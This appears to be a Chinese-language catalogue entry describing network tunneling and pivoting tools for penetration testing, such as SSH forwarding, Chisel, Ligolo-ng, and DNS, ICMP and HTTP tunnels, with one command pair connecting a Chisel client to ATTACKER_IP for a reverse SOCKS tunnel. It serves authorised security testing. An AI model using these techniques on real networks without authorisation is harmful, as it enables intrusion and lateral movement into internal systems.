tunneling-and-pivoting

用途：在渗透测试中通过已攻陷主机建立网络隧道，访问其内部网络。主要能力包括：SSH 端口转发（本地 -L、远程 -R、动态 -D SOCKS、ProxyJump 跳板）；Chisel 反向 SOCKS 与端口转发；Ligolo-ng 基于 TUN 接口的透明路由枢转，支持多代理与路由叠加；socat TCP/UDP/加密中继与文件传输；ProxyChains 代理链配置；Windows 下 netsh portproxy 与 plink 枢转；DNS 隧道（iodine、dnscat2）、ICMP 隧道（icmpsh、ptunnel-ng）、HTTP 隧道（Neo-reGeorg、Tunna）。使用方式：按出网条件选择工具，如仅允许 TCP 80/443 用 Chisel 或 Neo-reGeorg，仅 DNS 用 iodine，仅 ICMP 用 ptunnel-ng；Ligolo-ng 需在攻击机创建 tun 接口并添加路由，Chisel 服务端用 chisel server --reverse --port 8080，客户端用 chisel client ATTACKER_IP:8080 R:socks。适用场景：内网横向移动、多层枢转、受限出网环境。限制：部分工具需在枢转主机安装或管理员权限；DNS/ICMP 隧道速度慢；资料未提供具体授权、收费与平台信息。